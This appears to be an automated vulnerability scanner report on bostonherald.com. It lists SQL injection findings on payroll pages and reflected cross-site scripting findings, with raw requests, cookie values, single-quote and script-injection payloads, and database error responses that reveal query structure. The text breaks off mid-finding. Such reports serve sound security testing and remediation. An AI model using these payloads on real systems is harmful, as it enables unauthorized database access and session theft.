SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
1.1. http://www.bostonherald.com/projects/payroll/cambridge/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/cambridge/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /projects/payroll/cambridge/?1'=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:47:52 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 451 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.*,j.full FROM `cambridgeData` a INNER JOIN `cambridgeCats` j ON j.cat_id = department_id WHERE 1=1 ORDER BY ?1'=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?1'=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
1.2. http://www.bostonherald.com/projects/payroll/mass_pike/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/mass_pike/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /projects/payroll/mass_pike/?1'=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:29:23 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 319 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT * FROM `massPikePayroll` WHERE 1=1 ORDER BY ?1'=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?1'=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
1.3. http://www.bostonherald.com/projects/payroll/quasi_state/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/quasi_state/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /projects/payroll/quasi_state/?1'=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:39:48 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 492 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.*, b.agency FROM `quasi_state_data` a INNER JOIN `quasi_state_agencies` b ON a.quasi_state_agency_id = b.id WHERE 1=1 ORDER BY ?1\'=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?1\'=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
1.4. http://www.bostonherald.com/projects/payroll/quincy/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/quincy/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /projects/payroll/quincy/?1'=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:36:30 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 317 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `quincyData` a WHERE 1=1 ORDER BY ?1'=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?1'=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
1.5. http://www.bostonherald.com/projects/payroll/suffolk/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/suffolk/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /projects/payroll/suffolk/?1'=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:35:03 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 319 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `suffolkData` a WHERE 1=1 ORDER BY ?1'=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?1'=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
1.6. http://www.bostonherald.com/projects/payroll/worcester/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/worcester/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /projects/payroll/worcester/?1'=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:42:21 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 323 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `worcesterData` a WHERE 1=1 ORDER BY ?1'=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?1'=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
2. Cross-site scripting (reflected)previousnext There are 42 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4afcc"><script>alert(1)</script>d82b4897c0c was submitted in the REST URL parameter 5. This input was echoed as 4afcc\"><script>alert(1)</script>d82b4897c0c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/entertainment/guestlisted/index.php/20114afcc"><script>alert(1)</script>d82b4897c0c/01/27/van-halen-recording-with-celine-dion-producer/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:09:39 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/entertainment/guestlisted/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:09:22 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/entertainment/guestlisted/index.php/20114afcc\"><script>alert(1)</script>d82b4897c0c/01/27/van-halen-recording-with-celine-dion-producer/"> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70037"><script>alert(1)</script>7feba13b723 was submitted in the REST URL parameter 6. This input was echoed as 70037\"><script>alert(1)</script>7feba13b723 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/entertainment/guestlisted/index.php/2011/0170037"><script>alert(1)</script>7feba13b723/27/van-halen-recording-with-celine-dion-producer/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:10:34 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/entertainment/guestlisted/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:10:17 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/entertainment/guestlisted/index.php/2011/0170037\"><script>alert(1)</script>7feba13b723/27/van-halen-recording-with-celine-dion-producer/"> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95c27"><script>alert(1)</script>81822d7f333 was submitted in the REST URL parameter 7. This input was echoed as 95c27\"><script>alert(1)</script>81822d7f333 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/entertainment/guestlisted/index.php/2011/01/2795c27"><script>alert(1)</script>81822d7f333/van-halen-recording-with-celine-dion-producer/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:10:56 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/entertainment/guestlisted/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:10:40 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/entertainment/guestlisted/index.php/2011/01/2795c27\"><script>alert(1)</script>81822d7f333/van-halen-recording-with-celine-dion-producer/"> ...[SNIP]...
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3652"><script>alert(1)</script>947a9457054 was submitted in the REST URL parameter 8. This input was echoed as d3652\"><script>alert(1)</script>947a9457054 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogs/entertainment/guestlisted/index.php/2011/01/27/van-halen-recording-with-celine-dion-producerd3652"><script>alert(1)</script>947a9457054/ HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 404 Not Found Date: Sat, 29 Jan 2011 04:11:13 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 X-Pingback: http://www.bostonherald.com/blogs/entertainment/guestlisted/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 29 Jan 2011 04:10:56 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <TITLE>BostonHerald.com ...[SNIP]... <form id="searchform" method="get" action="/blogs/entertainment/guestlisted/index.php/2011/01/27/van-halen-recording-with-celine-dion-producerd3652\"><script>alert(1)</script>947a9457054/"> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19ef4"><script>alert(1)</script>1dd41ef465f was submitted in the REST URL parameter 5. This input was echoed as 19ef4\"><script>alert(1)</script>1dd41ef465f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
